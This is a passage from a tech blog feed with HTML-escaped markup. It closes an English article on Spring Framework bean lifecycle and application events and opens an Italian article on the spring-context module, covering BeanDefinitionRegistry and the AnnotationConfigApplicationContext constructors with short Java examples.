to events such as application startup, shutdown, refresh, or closure.&lt;/p&gt;&lt;p&gt;Below is a list of possible specializations of ApplicationEvent:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;ApplicationContextEvent&lt;/strong&gt;: Every application context event.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;ContextClosedEvent&lt;/strong&gt;: Application shutdown.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;ContextRefreshedEvent&lt;/strong&gt;: Application context refresh.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;ContextStartedEvent&lt;/strong&gt;: Application startup.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;ContextStoppedEvent&lt;/strong&gt;: Application interruption.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;PayloadApplicationEvent&lt;/strong&gt;: Sending customized payloads with events.&lt;/li&gt;&lt;/ul&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;14&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;CustomApplicationListener&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;implements&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;ApplicationListener&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;ApplicationContextEvent&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    @&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Override&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;onApplicationEvent&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;ApplicationContextEvent&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;getClass&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() + &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot; Event Class&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Thus, the use of ApplicationListener adds an additional layer of customization and control over the application&amp;#x27;s behavior
in response to events occurring during its execution.&lt;/p&gt;&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;&lt;p&gt;In conclusion, we have explored in detail the internal process of bean creation within the Spring framework. From when we instantiate an AnnotationConfigApplicationContext
to the completion of the &lt;em&gt;finishRefresh()&lt;/em&gt; method, we have analyzed every critical phase of the bean lifecycle and the bean factory, and how to interact at runtime
with these two essential components respectively through BeanPostProcessors and BeanFactoryPostProcessors.&lt;/p&gt;&lt;p&gt;We have seen how Spring handles the registration of beans through annotation reading, class and package scanning, and finally how it completes the initialization
process, ensuring that the context is fully ready for use.&lt;/p&gt;&lt;p&gt;This deep dive has provided us with a comprehensive overview of how Spring&amp;#x27;s internal workings and helped us better understand how this powerful and flexible framework
implements the IoC pattern through dependency management and bean creation in Java applications.&lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk11 { color: #DCDCAA; }
  .default-dark .mtk10 { color: #4EC9B0; }
  .default-dark .mtk15 { color: #C586C0; }
  .default-dark .mtk12 { color: #9CDCFE; }
  .default-dark .mtk7 { color: #B5CEA8; }
  .default-dark .mtk8 { color: #CE9178; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[Un'analisi dettagliata del modulo Core di Spring]]></title><link>https://techblog.smc.itspring-context-internals</link><guid isPermaLink="false">https://techblog.smc.itspring-context-internals</guid><pubDate>Wed, 10 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;introduzione&quot;&gt;Introduzione&lt;/h2&gt;&lt;p&gt;In questo articolo forniremo, dapprima, una visione di alto livello di Spring Framework, spiegandone motivazioni storiche e architetture. Andremo poi ad analizzare nel dettaglio il funzionamento di quello che è il suo modulo core noto come spring context, concluderemo indicando alcune tecniche per poter interagire con quest’ultimo modificandone il comportamento a runtime.&lt;/p&gt;&lt;h2 id=&quot;sommario&quot;&gt;Sommario&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;#spring-framework&quot;&gt;Spring Framework&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#spring-context&quot;&gt;Spring Context&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#beandefinitionregistry&quot;&gt;BeanDefinitionRegistry&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#annotatedbeandefinitionreader-e-classpathbeandefinitionscanner&quot;&gt;AnnotatedBeanDefinitionReader e ClassPathBeanDefinitionScanner&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#register&quot;&gt;Register&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#scan&quot;&gt;Scan&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#refresh&quot;&gt;Refresh&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#beanfactorypostprocessor&quot;&gt;BeanFactoryPostProcessor&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#beanpostprocessor&quot;&gt;BeanPostProcessor&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;#applicationlistener&quot;&gt;ApplicationListener&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2 id=&quot;spring-framework&quot;&gt;Spring Framework&lt;/h2&gt;&lt;p&gt;Spring rappresenta una famiglia di progetti utili a creare applicazioni Java Enteprise, per questo si dice essere un framework modulare, dove ogni modulo può essere utilizzato per rispondere a determinate esigenze consentendo agli sviluppatori di concentrarsi principalmente sulla logica di business delegando al framework quelli che sono aspetti tipicamente più architetturali. Ad oggi esso rappresenta uno strumento essenziale per lo sviluppo di applicazioni Java specialmente in ambito web e si distingue per il suo potente meccanismo di gestione delle dipendenze. Il framework nasce nel 2003, sotto la guida di  Rod Johnson, come risposta alla complessità delle specifiche Java Enterprise. Sebbene questo possa far pensare che essi siano diretti competitor, la realtà è che questi due mondi sono complementari, l’obiettivo di Spring non è, infatti, essere compliant con le specifiche Java Enterprise quanto integrarsi con alcune di esse e utilizzarle come supporto per il framework stesso.
I principi fondanti di Spring sono senz’altro la possibilità di lasciare agli sviluppatori la scelta ad ogni livello, porre particolare attenzione alla retro compatibilità nonché al design delle API cercando di renderle il più intuitive possibile, e mantenere uno standard elevato in ambito della qualità del codice. Su quest’ultimo punto va sottolineato come il framework abbia sempre rivolto particolare attenzione a questo aspetto rendendolo uno tra i software maggiormente documentato e autodescrittivo.&lt;/p&gt;&lt;h2 id=&quot;spring-context&quot;&gt;Spring Context&lt;/h2&gt;&lt;p&gt;Il modulo core di Spring è rappresentanto da spring-context e la sua funzione principale è quella di creare applicazioni basate sul pattern IoC (Inversion of Control) implementato tramite DI (Dependency Injection). Con questo pattern il controllo delle dipendenze e delle loro implementazioni non è più a carico delle istanze di oggetti che le utilizzano ma viene delegato ad un componente terzo, messo a disposizione dal framework, noto come container. Questo trasferimento di responsabilità consente agli oggetti di business di non dover dipendere da una specifica implementazione né di doverne scegliere una a runtime favorendo di fatto lo sviluppo di applicazioni nel totale rispetto dei principi SOLID.  Al centro di questo meccanismo, come già detto, troviamo un componente noto come container al cui interno vengono istanziati e gestiti per il loro intero ciclo di vita i cosidetti &amp;quot;bean&amp;quot;. Ma cosa sono realmente i bean e come avviene la loro creazione?&lt;/p&gt;&lt;p&gt;Se per la prima domanda è sufficiente dire che i bean possono sia essere comuni POJO che classi con specifiche annotazioni, per dare una risposta dettagliata alla seconda domanda andremo ad analizzare il cuore di Spring Framework per scoprirne il processo tramite il quale i bean vengono istanziati e gestiti. Ci concentreremo sui dettagli della classe &lt;strong&gt;AnnotationConfigApplicationContext&lt;/strong&gt; che rappresenta il pilastro tramite il quale è possibile configurare un&amp;#x27;applicazione Spring utilizzando le annotazioni.
Tra le interfacce principali che orchestrano il flusso rientrano senz’altro il &lt;strong&gt;BeanDefinitionRegistry&lt;/strong&gt;, responsabile della creazione e gestione delle definizioni dei bean, la BeanFactory, responsabile della creazione e gestione dei bean e l’ApplicationContext che coordina in maniera puntuale le API fornite dalle interfacce precedenti nonché delle loro implementazioni.&lt;/p&gt;&lt;p&gt;Estendendo la classe &lt;strong&gt;GenericApplicationContext&lt;/strong&gt;,
AnnotationConfigApplicationContext non solo implementa BeanDefinitionRegistry con il metodo fondamentale &lt;strong&gt;&lt;em&gt;registerBeanDefinition(String beanName, BeanDefinition beanDefinition)&lt;/em&gt;&lt;/strong&gt; ma possiede anche una variabile d’istanza di tipo DefaultListableBeanFactory. Va sottolineato che GenericApplicationContext estende a sua volta &lt;strong&gt;AbstractApplicationContext&lt;/strong&gt;
che dichiara il metodo &lt;em&gt;createEnvironment()&lt;/em&gt; che ritorna un&amp;#x27;istanza di &lt;strong&gt;StandardEnvironment&lt;/strong&gt; basato su properties di sistema &lt;em&gt;System.getProperties()&lt;/em&gt; e di ambiente &lt;em&gt;System.getEnv()&lt;/em&gt; dove le prime hanno la precedenza sulle seconde. Quest&amp;#x27;ultimo estende, infine &lt;strong&gt;ApplicationContext&lt;/strong&gt; che implementa &lt;strong&gt;ApplicationEventPublisher&lt;/strong&gt; ed è quindi in grado di generare eventi tramite il metodo &lt;em&gt;publishEvent(Object event)&lt;/em&gt;&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/4d17851e4fa50c969cb88bdfbd350133/4b7ff/AnnotationConfigApplicationContext.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:46%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;184\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20184\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2092v92h401V0H0v92M56%206l-1%205v5h7l6%201v1l1-1%2014-1h14V5H77L56%206m222%2010l1%206%201-1%2021-1%2020-1%201-2v-2l-1-3V9h-43v7M3%2014c0%202%200%202%207%202l7%201h2l7-1c7%200%207%200%207-2v-3H3v3m178%201v2h34v-5h-34v3m149%2010v9h17l16%201h2l16-1h16V15h-66l-1%2010m-154%202c-2%202%201%203%2023%203h21v-5h-21c-18%200-22%200-23%202m-97%200c-1%204%200%204%2016%204l15%201h2l4-1c4%200%204%200%204-2v-3h-20l-21%201m211%204c0%202%200%202%206%202l7%201h2l7-1c6%200%206%200%206-2v-3h-28v3m-35%201l-11%201h-12v11h48V33h-11l-12-1-1-1-1%201M34%2035a615%20615%200%200037%200c-3-3-36-3-37%200m95%203c0%203%200%203%209%202%206%200%208%201%208%202l1%201%201-1c0-2%202-2%209-2%208%200%208%200%208-2s0-2-18-2h-18v2m56%204c0%202%200%202%204%202l5%201h2l5-1c4%200%205-1%205-3s0-2-10-2h-11v3m114%202l-1%201-1%201%2012%201h12v-5h-11c-9%200-11%200-11%202M92%2052c0%202%200%202%208%202l8%201h2l8-1c8%200%208%200%208-2v-3H92v3m77%2022v22h57V86l1-11v-2l-1-11V52h-57v22m66-16a3986%203986%200%2000-2%2060v1c2%200%202%202%202%2020v20h75V56h-75v2m-100%205c0%203%200%203%206%203l6%201h1l7-1c6%200%206%200%206-2s-1-3-13-3h-13v2m-15%2016c0%202%200%202%2010%202l9%201h1l10-1c9%200%209%200%209-2v-3h-39v3m199%2020c-2%202%200%203%206%203l5%201v1h1c0-2%202-2%2015-2%2014%200%2015%200%2015-2s-1-2-21-2l-21%201m-149%2014v17h12l13%201h2l13-1h12v-23h-52v6m103%2061l1%208h57v-15h-58v7\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/4d17851e4fa50c969cb88bdfbd350133/c85cb/AnnotationConfigApplicationContext.webp 300w,/static/4d17851e4fa50c969cb88bdfbd350133/e88ff/AnnotationConfigApplicationContext.webp 600w,/static/4d17851e4fa50c969cb88bdfbd350133/92f8c/AnnotationConfigApplicationContext.webp 1200w,/static/4d17851e4fa50c969cb88bdfbd350133/62ed8/AnnotationConfigApplicationContext.webp 1800w,/static/4d17851e4fa50c969cb88bdfbd350133/46261/AnnotationConfigApplicationContext.webp 2400w,/static/4d17851e4fa50c969cb88bdfbd350133/9e5e5/AnnotationConfigApplicationContext.webp 5724w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/4d17851e4fa50c969cb88bdfbd350133/5a46d/AnnotationConfigApplicationContext.png 300w,/static/4d17851e4fa50c969cb88bdfbd350133/0a47e/AnnotationConfigApplicationContext.png 600w,/static/4d17851e4fa50c969cb88bdfbd350133/c1b63/AnnotationConfigApplicationContext.png 1200w,/static/4d17851e4fa50c969cb88bdfbd350133/d61c2/AnnotationConfigApplicationContext.png 1800w,/static/4d17851e4fa50c969cb88bdfbd350133/97a96/AnnotationConfigApplicationContext.png 2400w,/static/4d17851e4fa50c969cb88bdfbd350133/4b7ff/AnnotationConfigApplicationContext.png 5724w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;UML class diagram&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/4d17851e4fa50c969cb88bdfbd350133/c1b63/AnnotationConfigApplicationContext.png&quot; title=&quot;UML class diagram&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;UML class diagram&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;beandefinitionregistry&quot;&gt;BeanDefinitionRegistry&lt;/h3&gt;&lt;p&gt;Il &lt;strong&gt;BeanDefinitionRegistry&lt;/strong&gt; è un&amp;#x27;interfaccia che dichiara alcuni metodi per lavorare con le &lt;strong&gt;BeanDefinition&lt;/strong&gt; tra cui quelli per registrarne di nuove, recuperarle e rimuoverle.
Come già detto questi metodi sono implementati all&amp;#x27;interno di &lt;strong&gt;GenericApplicationContext&lt;/strong&gt; tramite i metodi forniti da &lt;strong&gt;DefaultListableBeanFactory&lt;/strong&gt; che implementa a sua volta questa interfaccia.&lt;/p&gt;&lt;p&gt;Una &lt;strong&gt;BeanDefinition&lt;/strong&gt; descrive una classe dichiarata come bean, tramite alcune informazioni tra cui:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;beanClass&lt;/strong&gt; che rappresenta il nome comprensivo di package della classe&lt;/li&gt;&lt;li&gt;&lt;strong&gt;scope&lt;/strong&gt; singleton di default&lt;/li&gt;&lt;li&gt;&lt;strong&gt;initMethodName&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;destroyMethodName&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;qualifiers&lt;/strong&gt; se vengono indicati tramite annotation&lt;/li&gt;&lt;li&gt;&lt;strong&gt;source&lt;/strong&gt; che rappresenta il percorso al file .class&lt;/li&gt;&lt;li&gt;&lt;strong&gt;metadata&lt;/strong&gt; che rappresenta un oggetto di tipo &lt;strong&gt;SimpleAnnotationMetadata&lt;/strong&gt; con al suo interno, ad esempio, i metadati dei metodi dichiarati, ed eventuale super classe&lt;/li&gt;&lt;/ul&gt;&lt;h3 id=&quot;annotatedbeandefinitionreader-e-classpathbeandefinitionscanner&quot;&gt;AnnotatedBeanDefinitionReader e ClassPathBeanDefinitionScanner&lt;/h3&gt;&lt;p&gt;Possiamo istanziare un &lt;strong&gt;AnnotationConfigApplicationContext&lt;/strong&gt; in due modi distinti.
Il primo approccio consiste nel passare una lista di classi di componenti direttamente al costruttore. Per componente si intende una qualunque specializzazione dell’annotazione @Component (@Service, @Configuration, @Controller etc.)&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--sideLeft--1t1xc CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;AnnotationConfigApplicationContext&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;&amp;gt;... &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;componentClasses&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;register&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(componentClasses);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;refresh&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Il secondo approccio prevede il passaggio di una lista di basePackages al costruttore.
In questo modo verrà effettuata una scansione di tutte le classi dei packages e dei loro sub-packages.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--sideRight--nfzNR CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;AnnotationConfigApplicationContext&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;... &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;basePackages&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;scan&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(basePackages);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;refresh&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;In entrambi i casi come prima istruzione viene invocato il costruttore senza parametri dove vengono istanziati un AnnotatedBeanDefinitionReader e uno ClassPathBeanDefinitionScanner.
Questi due oggetti per essere istanziati necessitano di un BeanDefinitionRegistry che in questo caso sarà l’istanza stessa di AnnotationConfigApplicationContext.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;AnnotationConfigApplicationContext&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;reader&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;AnnotatedBeanDefinitionReader&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;scanner&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;ClassPathBeanDefinitionScanner&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;In una semplice applicazione spring con la sola dipendenza spring-context nel momento in cui viene istanziato il reader vengono aggiunte delle BeanDefinition di default al BeanDefinitioRegistry attraverso il
metodo &lt;em&gt;registerAnnotationConfigProcessors()&lt;/em&gt; della classe AnnotationConfigUtils richiamato nel costruttore del reader stesso.
